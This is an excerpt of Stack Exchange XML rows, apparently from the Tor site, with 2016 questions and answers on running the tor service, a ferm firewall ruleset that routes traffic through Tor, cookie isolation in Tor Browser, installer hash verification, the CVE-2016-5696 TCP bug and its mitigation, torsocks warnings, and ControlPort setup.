  <row Id="12342" PostTypeId="2" ParentId="12341" CreationDate="2016-08-09T17:50:07.630" Score="15" Body="&lt;p&gt;Normally the Tor service should be started/stopped with either:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl start/stop tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo service tor start/stop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Personally I've always used the &lt;code&gt;service&lt;/code&gt; command because it is simpler. I'm guessing things get a little more complicated when you run multiple Tor instances, but I have no experience with that.&lt;/p&gt;&#xA;&lt;p&gt;Running Tor in a terminal runs Tor as your user, and binds it to that terminal window. Running as a service allows Tor to run in the background with the proper permissions.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastEditorUserId="20534" LastEditDate="2021-07-12T23:43:04.443" LastActivityDate="2021-07-12T23:43:04.443" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="12343" PostTypeId="1" CreationDate="2016-08-10T01:31:15.790" Score="2" ViewCount="5021" Body="&lt;p&gt;Just wondering, I am using Debian, I am wondering if I can make IPTables or a easier to use firewall drop all traffic but the traffic I allow (including DNS) goes through Tor. Can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use Tails cause I need certain apps to save on the system and I am not into re-downloading them all over again, I can't use Whonix due to hardware limitation (and Qubes don't support my Wireless drivers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did try the tutorial on TorProject but the way the right their tutorials is way to confusing for me (I am a visual learner, haha O.o)&lt;/p&gt;&#xA;" OwnerUserId="13939" LastActivityDate="2016-08-10T04:12:10.837" Title="Use IPTables to force traffic through Tor?" Tags="|transparent-proxy|iptables|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12344" PostTypeId="2" ParentId="12343" CreationDate="2016-08-10T04:12:10.837" Score="1" Body="&lt;p&gt;First install &lt;code&gt;ferm&lt;/code&gt; by running &lt;code&gt;sudo apt-get install ferm&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Tails' &lt;a href=&quot;https://git-tails.immerda.ch/tails/tree/config/chroot_local-includes/etc/ferm/ferm.conf&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ferm.conf&lt;/code&gt;&lt;/a&gt; as a base and removing Tails' restrictions on localhost connections (you can add these back if required but a lot of them are based around Tails specific accounts which won't exist on your stock debian), then you'd create a ruleset like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain ip {&#xA;    table filter {&#xA;        chain INPUT {&#xA;            policy DROP;&#xA;            mod state state (ESTABLISHED) ACCEPT;&#xA;            interface lo ACCEPT;&#xA;        }&#xA;        chain OUTPUT {&#xA;            policy DROP;&#xA;            mod state state (ESTABLISHED) ACCEPT;&#xA;            outerface lo ACCEPT;&#xA;            daddr (10.0.0.0/8 172.16.0.0/12 192.168.0.0/16) @subchain &quot;lan&quot; {&#xA;                proto tcp dport domain REJECT;&#xA;                proto udp dport domain REJECT;&#xA;                ACCEPT;&#xA;            }&#xA;            mod owner uid-owner debian-tor {&#xA;                proto tcp syn mod state state (NEW) ACCEPT;&#xA;            }&#xA;            LOG log-prefix &quot;Dropped outbound packet: &quot; log-level debug log-uid;&#xA;            REJECT reject-with icmp-port-unreachable;&#xA;        }&#xA;        chain FORWARD {&#xA;            policy DROP;&#xA;        }&#xA;    }&#xA;    table nat {&#xA;        chain PREROUTING {&#xA;            policy ACCEPT;&#xA;        }&#xA;        chain POSTROUTING {&#xA;            policy ACCEPT;&#xA;        }&#xA;        chain OUTPUT {&#xA;            policy ACCEPT;&#xA;            daddr 127.192.0.0/10 proto tcp REDIRECT to-ports 9040;&#xA;            daddr 127.0.0.1 proto udp dport 53 REDIRECT to-ports 5353;&#xA;        }&#xA;    }&#xA;}&#xA;domain ip6 {&#xA;    table filter {&#xA;        chain INPUT {&#xA;            policy DROP;&#xA;            interface lo  ACCEPT;&#xA;        }&#xA;        chain FORWARD {&#xA;            policy DROP;&#xA;        }&#xA;        chain OUTPUT {&#xA;            policy DROP;&#xA;            outerface lo ACCEPT;&#xA;            LOG log-prefix &quot;Dropped outbound packet: &quot; log-level debug log-uid;&#xA;            REJECT reject-with icmp6-port-unreachable;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save this file to &lt;code&gt;/etc/ferm/ferm.conf&lt;/code&gt; then issue &lt;code&gt;sudo service ferm restart&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also wish to review the LAN &lt;code&gt;OUTPUT&lt;/code&gt; section and further restrict this down to just DHCP traffic, for example from this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            daddr (10.0.0.0/8 172.16.0.0/12 192.168.0.0/16) @subchain &quot;lan&quot; {&#xA;                proto tcp dport domain REJECT;&#xA;                proto udp dport domain REJECT;&#xA;                ACCEPT;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        daddr (10.0.0.0/8 172.16.0.0/12 192.168.0.0/16) @subchain &quot;lan&quot; {&#xA;            proto udp dport 67 sport 68 ACCEPT;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-10T04:12:10.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12346" PostTypeId="2" ParentId="8806" CreationDate="2016-08-10T08:29:03.683" Score="1" Body="&lt;h3&gt;With or without Javascript&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Tor Browser has a default policy of blocking third party cookies. Cookies can only be set or retrieved by request of domain in the URL bar, regardless of resource fetches from third party websites.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&quot;can news.com attach a cookie to my TBB session?&quot;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes. Cookies are an extension of the HTTP protocol. They do not require active script content on the page to function. Infact in many cases they are intentionally taken out of reach of javascript through the &lt;code&gt;HttpOnly&lt;/code&gt; tag that can be included when they're initially set, meaning these cookies cannot be accessed directly by javascript.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;can food.com access a previously attached cookie from my TBB session?&quot;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes. Assuming the cookie hasn't expired (they have an expire date that's decided when they're first set) and you're using the same session (I.E. you haven't used New Identity) you will resend the cookies with every HTTP request.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;can data.com connect news story X to recipe Y based on attached cookies from first two steps?&quot;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No. Cookies are bound to a hostname (and optionally a path on the hostname). news.com can set, and will be resupplied previously set, cookies for news.com, it will never see or set cookies for food.com or data.com. This is obvious when you consider the usage of cookies as a means of authentication, if evil.com could access cookies for bank.com then evil.com could use those to steal your login session and try to masquerade as you with bank.com.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So...with a fresh identity and javascript disabled, you visit news.com. news.com tries to set a cookie, it is successful. data.com (I am assuming this is what you're asking about) has some content embedded in news.com. data.com tries to set a cookie for data.com through news.com, it fails because it is a third party it also does not receive any previously set cookies for data.com because it is a third party and it cannot see the cookies for news.com for the same reason. food.com is the same. Furthermore, food.com and news.com both used distinct circuits because tor browser isolates circuits based on the first party domain. data.com cannot link food.com to news.com or any of them between each other &lt;em&gt;assuming they only use cookies&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;However...&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Cookies are a long established, well studied, and &lt;em&gt;overt&lt;/em&gt; session tracking mechanism. There are plenty of &lt;em&gt;covert&lt;/em&gt; ways to use other mechanisms in browsers for tracking users and the simple scenario presented in the question doesn't reflect a realistic &lt;del&gt;adversary&lt;/del&gt;advertiser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;With javascript enabled and a script controlled (or at least written) by data.com embedded on both food.com and news.com, it turns out it's possible for it to link these, thanks to &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/withCredentials&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;XMLHTTPRequest.withCredentials = true;&lt;/code&gt;&lt;/a&gt;&lt;/del&gt;Correction: I created a test for this &lt;em&gt;(because &lt;code&gt;withCredentials&lt;/code&gt; seemed insane)&lt;/em&gt; by trying to use javascript to set and retrieve a cookie from a third party domain using this, it seems that the cookies policy overrules this and denies the third party setting or getting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways news.com, data.com and food.com could collude to do this &lt;em&gt;without&lt;/em&gt; javascript &lt;em&gt;or&lt;/em&gt; cookies. I'm not going to try to exhaustively enumerate them here, that's left as an exercise for the reader. For the curious, there is a good overview of them in &lt;a href=&quot;https://sites.google.com/a/chromium.org/dev/Home/chromium-security/client-identification-mechanisms&quot; rel=&quot;nofollow&quot;&gt;this document&lt;/a&gt; from the Chrome security team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not want to have your browsing on news.com, food.com, and data.com linked together &lt;em&gt;use New Identity&lt;/em&gt;, that's what it's there for!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Updated to include &lt;code&gt;XMLHTTPRequest.withCredentials&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Updated to &lt;strong&gt;correct&lt;/strong&gt; &lt;code&gt;XMLHTTPRequest.withCredentials&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-11T04:07:33.417" LastActivityDate="2016-08-11T04:07:33.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12349" PostTypeId="2" ParentId="6571" CreationDate="2016-08-10T20:49:20.850" Score="-1" Body="&lt;p&gt;see &lt;a href=&quot;https://blog.torproject.org/blog/tor-android&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/tor-android&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;search for torrc and you will find someone who did it by modifying the apk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On May 7th, 2011 Anonymous said:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured out how to deploy Orbot with a custom torrc file, without having to rebuild Orbot from source, and without needing a rooted phone:&#xA; 1. Download the latest Orbot apk file.&#xA; 2. Open/extract the apk (it's really just a zip file with a different file extension) with your favorite zip utility.&#xA; 3. Remove the META-INF folder from the apk.&#xA; 4. Open the torrc file in the assets/ folder and modify it as you like.&#xA; 5. Zip it all back up again.&#xA; 6. Sign the .apk file using keytool and jarsigner according to the instructions at this URL: &lt;a href=&quot;http://developer.android.com/guide/publishing/app-signing.html#cert&quot; rel=&quot;nofollow&quot;&gt;http://developer.android.com/guide/publishing/app-signing.html#cert&lt;/a&gt;&#xA; 7. Copy to phone and install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works like a charm. Tested by specifying strict exitnodes and am now successfully watching the BBC iPlayer on my phone even though I'm in the UK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't edit the torrc on the fly or without reinstalling Orbot using this method, but you don't need a rooted phone and you don't risk getting your torrc file overwritten by the old &quot;default&quot; one by Orbot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On May 23rd, 2011 Anonymous said:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this hint to set up Orbot using a http(s)proxy.&#xA; It Works !&#xA; Nevertheless there should be an option to to that. Perfect were, if this options would map to SSIDs or BSSIDs so it could change automatically if the device is connected to another network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx for the hint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Milraun&lt;/p&gt;&#xA;" OwnerUserId="13948" LastActivityDate="2016-08-10T20:49:20.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12351" PostTypeId="1" CreationDate="2016-08-10T21:00:09.663" Score="2" ViewCount="295" Body="&lt;p&gt;I mostly run Ubuntu versions and never have problems verifying signatures and sha256sum on the Tor releases for Ubuntu.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I attempted to put tor on a windows7 machine, &lt;code&gt;torbrowser-install-6.0.3_en-US.exe&lt;/code&gt; always gives me a sha256sum of: &#xA;&lt;code&gt;c444319129d3de300eb4d7421861cc75f03eb9b0ee00738e2cdde4d63395c0d4&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct sum is   &lt;code&gt;e8ca44a4d73bc0183973e3e7abbbaf546c2a1d2cae3df58b76e929332e02a277&lt;/code&gt;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the Windows 7 release several times on different machines and platforms and always got the same invalid hash no matter which platform I chose.&lt;/p&gt;&#xA;" OwnerUserId="13949" LastEditorUserId="13768" LastEditDate="2016-09-13T09:54:51.947" LastActivityDate="2016-09-13T09:54:51.947" Title="64bit Windows and Mac Tor Browser Bundle downloads always have the wrong sha256 hash. What is wrong?" Tags="|tor-browser-bundle|windows|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12352" PostTypeId="2" ParentId="12351" CreationDate="2016-08-10T21:54:54.660" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/19494&quot; rel=&quot;nofollow&quot;&gt;#19494 (Invalid SHA256 on version 6.0.1 et 6.0.2)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The sha256sums-unsigned-build.txt file contains the hashes of the bundles before they are signed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For the Windows bundles, you can use &lt;code&gt;osslsigncode&lt;/code&gt; to remove the signature. It is available in this git repository: &lt;a href=&quot;http://git.code.sf.net/p/osslsigncode/osslsigncode/&quot; rel=&quot;nofollow&quot;&gt;http://git.code.sf.net/p/osslsigncode/osslsigncode/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$ sha256sum torbrowser-install-6.0.2_en-US.exe &#xA;3a2e05304345936fd713b638612088fa0914102389c15c7bf7aa1d74803e5db8  torbrowser-install-6.0.2_en-US.exe&#xA;$ ./osslsigncode remove-signature torbrowser-install-6.0.2_en-US.exe torbrowser-install-6.0.2_en-US.exe-unsigned&#xA;Succeeded&#xA;$ sha256sum torbrowser-install-6.0.2_en-US.exe-unsigned&#xA;697a1d592c46138f894f9c03db54393bf61dd53df1b1043844f59f7e85439d1b  torbrowser-install-6.0.2_en-US.exe-unsigned&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;We are still working on the instructions to remove the code signing on the .dmg files. This is ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/18925&quot; rel=&quot;nofollow&quot;&gt;#18925&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want to verify the download, use the corresponding &lt;code&gt;.asc&lt;/code&gt; file. It both validates the cryptographic hash of the file &lt;em&gt;and&lt;/em&gt; allows you to ensure that the hash is provided by the the correct key (I.E. the providence of the claimed cryptographic hash of the file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;do&lt;/em&gt; want to ensure that the cryptographic hash is actually provided to you by the correct party and not just rely on a checksum published on a website, for an example as to why this is important see what happened to &lt;a href=&quot;https://blog.linuxmint.com/?p=2994&quot; rel=&quot;nofollow&quot;&gt;Linux Mint recently&lt;/a&gt; (hackers replaced their download links &lt;em&gt;and&lt;/em&gt; the checksums for the isos listed on the website, signature verification would have prevented this.).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-10T21:54:54.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12356" PostTypeId="1" AcceptedAnswerId="12357" CreationDate="2016-08-11T20:09:30.803" Score="2" ViewCount="739" Body="&lt;p&gt;When running tor-arm, I am unable to see information about connections.  Even when running arm as root, the Connections tab remains blank as well as the connections graph showing nothing.&lt;/p&gt;&#xA;" OwnerUserId="3505" LastActivityDate="2017-12-21T09:07:58.523" Title="tor-arm not displaying connection information" Tags="|nyx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12357" PostTypeId="2" ParentId="12356" CreationDate="2016-08-11T20:09:30.803" Score="2" Body="&lt;p&gt;You must include the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DisableDebuggerAttachment 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your torrc file in order to force Tor to allow arm access to the list of currently open sockets it has which it then uses to create the list of connections.&lt;/p&gt;&#xA;" OwnerUserId="3505" LastActivityDate="2016-08-11T20:09:30.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12358" PostTypeId="1" CreationDate="2016-08-12T01:57:55.440" Score="2" ViewCount="133" Body="&lt;p&gt;&lt;a href=&quot;https://threatpost.com/serious-tcp-bug-in-linux-systems-allows-traffic-hijacking/119804/&quot; rel=&quot;nofollow&quot;&gt;https://threatpost.com/serious-tcp-bug-in-linux-systems-allows-traffic-hijacking/119804/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fossbytes.com/linux-distribution-hackable-serious-tcp-bug-report/&quot; rel=&quot;nofollow&quot;&gt;http://fossbytes.com/linux-distribution-hackable-serious-tcp-bug-report/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not clear on how this TCP news affects Tor users. I understand it allows an attacker to inject malicious code into a TCP stream but can someone try explaining:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What we can do to protect ourselves as VPN/Tor users?&lt;/li&gt;&#xA;&lt;li&gt;Should this be considered a major threat to every day Tor users?&lt;/li&gt;&#xA;&lt;li&gt;Who is actually capable of executing such an attack? Anyone on the network? Global adversaries?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;/p&gt;&#xA;" OwnerUserId="13957" LastEditorUserId="13768" LastEditDate="2016-09-05T15:31:17.460" LastActivityDate="2017-05-04T13:16:13.337" Title="Serious TCP Bug in Linux Systems?" Tags="|tor-browser-bundle|security|linux|network-adversary|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12359" PostTypeId="2" ParentId="12358" CreationDate="2016-08-12T04:21:13.200" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;What we can do to protect ourselves as VPN/Tor users?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Note that the attack itself is targeted at the service, not the client (I.E. tor relay, not the tor client) so there isn't much you can do. If you run a relay then &lt;a href=&quot;https://www.mail-archive.com/netdev@vger.kernel.org/msg118677.html&quot; rel=&quot;nofollow&quot;&gt;patch&lt;/a&gt; when it's available, in the mean time &lt;a href=&quot;https://blogs.akamai.com/2016/08/vulnerability-in-the-linux-kernels-tcp-stack-implementation.html&quot; rel=&quot;nofollow&quot;&gt;Akamai suggest&lt;/a&gt; increasing the &lt;code&gt;net.ipv4.tcp_challenge_ack_limit&lt;/code&gt; to a value high enough that someone trying to reach and maintain the limit could not feasibly do so.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Should this be considered a major threat to every day Tor users?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Outside of being simply an oracle to determine if Alice has a connection to Bob's public service, it could be used as a &lt;a href=&quot;http://www.robgjansen.com/publications/sniper-ndss2014.pdf&quot; rel=&quot;nofollow&quot;&gt;sniper attack&lt;/a&gt;. Since Tor is using TLS the Man-on-the-Side injection attack wouldn't be feasible (they &lt;em&gt;could&lt;/em&gt; inject data but it would fail cryptographic authentication), only tearing down the connection would. The sniper attack can be performed through other means (as outlined in the paper) already.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Who is actually capable of executing such an attack? Anyone on the network? Global adversaries?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Anyone on the internet who can spoof IP traffic as the client to the server and simultaneously hold open their own connection to the target server (and count to 100 ;)).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The paper itself is &lt;a href=&quot;https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_cao.pdf&quot; rel=&quot;nofollow&quot;&gt;available at this link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="13768" LastEditDate="2016-09-05T15:19:31.467" LastActivityDate="2016-09-05T15:19:31.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12363" PostTypeId="2" ParentId="12358" CreationDate="2016-08-13T11:01:50.103" Score="2" Body="&lt;p&gt;Tor developer Isis Agora Lovecruft has published a blog post on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.patternsinthevoid.net/cve-2016-5696-and-its-effects-on-tor.html&quot; rel=&quot;nofollow&quot;&gt;CVE-2016-5696 and its effects on Tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;tl;dr:&lt;/strong&gt; This vulnerability is quite serious, but it doesn’t affect the Tor network any more than it affects the rest of the internet. In particular, the Tor-specific attacks mentioned in the paper will not work as described.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.patternsinthevoid.net/cve-2016-5696-and-its-effects-on-tor.html&quot; rel=&quot;nofollow&quot;&gt;https://blog.patternsinthevoid.net/cve-2016-5696-and-its-effects-on-tor.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2016-08-19T04:24:54.527" LastActivityDate="2016-08-19T04:24:54.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12364" PostTypeId="1" AcceptedAnswerId="12368" CreationDate="2016-08-13T13:54:18.053" Score="2" ViewCount="3656" Body="&lt;pre&gt;&lt;code&gt;WARNING torsocks[4382]: [syscall] Unsupported syscall number 319. Denying the call (in tsocks_syscall() at syscall.c:465)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen other reports on different websites with different numbers. I was using torify with youtube-viewer, but I seem to have gotten frequent warnings with several other command-line applications after torifying. The apps do what I intended.&lt;/p&gt;&#xA;" OwnerUserId="13971" LastActivityDate="2016-08-13T20:16:44.460" Title="Should I worry about this torify (torsocks) warning?" Tags="|torsocks|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12367" PostTypeId="1" CreationDate="2016-08-13T17:20:31.207" Score="1" ViewCount="96" Body="&lt;p&gt;Got a new RP3 with jessie and followed advice here (see &quot;How to run Tor on Raspbian on the Raspberry Pi&quot;) to build from deb.tpo using the documentation on Tor's page about building Debian packages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is apt-get upgrade doing - the name seems identical: tor (0.2.8.6-2~d80.jessie+1)? Will it upgrade the binary or the source package?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be a very basic question, but I don't want to wreck a working Tor relay!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13974" LastActivityDate="2016-08-13T17:20:31.207" Title="After building tor source package to run Tor on Raspberry Pi 3 apt-get offers upgrade" Tags="|debian|raspberry-pi|update|tor-install|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12368" PostTypeId="2" ParentId="12364" CreationDate="2016-08-13T20:16:44.460" Score="3" Body="&lt;p&gt;&lt;code&gt;torsocks&lt;/code&gt; intercepts calls to the libc &lt;code&gt;syscall()&lt;/code&gt; function (and various other libc calls) by hooking into them through the dynamic linkers &lt;code&gt;LD_PRELOAD&lt;/code&gt; environment variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It creates a &quot;shim&quot; function around the calls that it knows it can properly torify, and runs a torified version of the function. Those that it cannot properly torify or does not know can be torified safely are denied, and warnings like those you've reported are generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the warning means the application tried to use some function torsocks doesn't know if it can safely allow or handle and that on that basis, it denied it. Clearly this means certain applications simply will not work with &lt;code&gt;torsocks&lt;/code&gt; but those that do work should be reliably torified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of exceptions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;LD_PRELOAD&lt;/code&gt; can be stripped for security reasons (setuid, capabilities, etc.), torsocks detects these cases as best it can but it's a difficult problem.&lt;/li&gt;&#xA;&lt;li&gt;A syscall is issued directly from some assembly code, since this won't go through the libc wrapper function, this will not be intercepted and torified by &lt;code&gt;torsocks&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-13T20:16:44.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12369" PostTypeId="1" AcceptedAnswerId="12371" CreationDate="2016-08-13T21:01:00.370" Score="0" ViewCount="88" Body="&lt;p&gt;Since two days, I'm running a Tor relay I call &lt;a href=&quot;https://atlas.torproject.org/#details/1190E9D0222E3DEF7BE8BF8B0BAC73867C6F6ABD&quot; rel=&quot;nofollow&quot;&gt;charon&lt;/a&gt;. I heard about &lt;code&gt;arm&lt;/code&gt; that shows you some statistics about your relay, which sounds like a great tool to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For it to work, you have to enable the &lt;code&gt;ControlPort&lt;/code&gt;, which is a password-protected way to control your relay from the outside. I have the idea to enable the ControlPort and set up &lt;code&gt;arm&lt;/code&gt;, but I want it to be only accessible by localhost, which I will set up an appropriate rule in my firewall for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will it work this way?&lt;/p&gt;&#xA;" OwnerUserId="13976" LastActivityDate="2016-08-14T01:15:17.820" Title="Set up arm for local access only" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12371" PostTypeId="2" ParentId="12369" CreationDate="2016-08-14T01:05:16.787" Score="1" Body="&lt;p&gt;This doesn't require additional configuration, by default the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ControlPort&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ControlPort&lt;/code&gt;&lt;/a&gt; will bind to 127.0.0.1 on the local loopback interface and as such it will only be accessible through the localhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;should&lt;/em&gt; however also include either a &lt;code&gt;HashedControlPassword&lt;/code&gt; or a &lt;code&gt;CookieAuthentication&lt;/code&gt; or alternatively use a UNIX socket and use UNIX filesystem permissions to restrict access to the control port, as it not only provides information but allows Tor to be reconfigured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A control auth cookie is enabled by default on the Tor debian packages at &lt;code&gt;/var/run/tor/control.authcookie&lt;/code&gt;, as is a ControlPort through a UNIX socket located at &lt;code&gt;/var/run/tor/control&lt;/code&gt;, which anyone who is a member of the &lt;code&gt;debian-tor&lt;/code&gt; group can access by issuing the command &lt;code&gt;arm -s /var/run/tor/control&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.S. Thanks for running a relay!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-14T01:15:17.820" LastActivityDate="2016-08-14T01:15:17.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12373" PostTypeId="1" CreationDate="2016-08-14T11:36:35.790" Score="0" ViewCount="3347" Body="&lt;p&gt;I use tor browser and have some bookmarks. Now I want to remove those bookmarks completely. I already tried approach mentioned on &lt;a href=&quot;https://tor.stackexchange.com/questions/10197/deleting-tor-bookmarks&quot;&gt;this link&lt;/a&gt;. I deleted places.sqlite file but all my bookmarks are still there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I successfully delete all bookmarks completely?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13982" LastActivityDate="2017-02-11T20:14:58.840" Title="Remove bookmarks from tor browser" Tags="|tor-browser-bundle|security|browsers|torproject.org|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
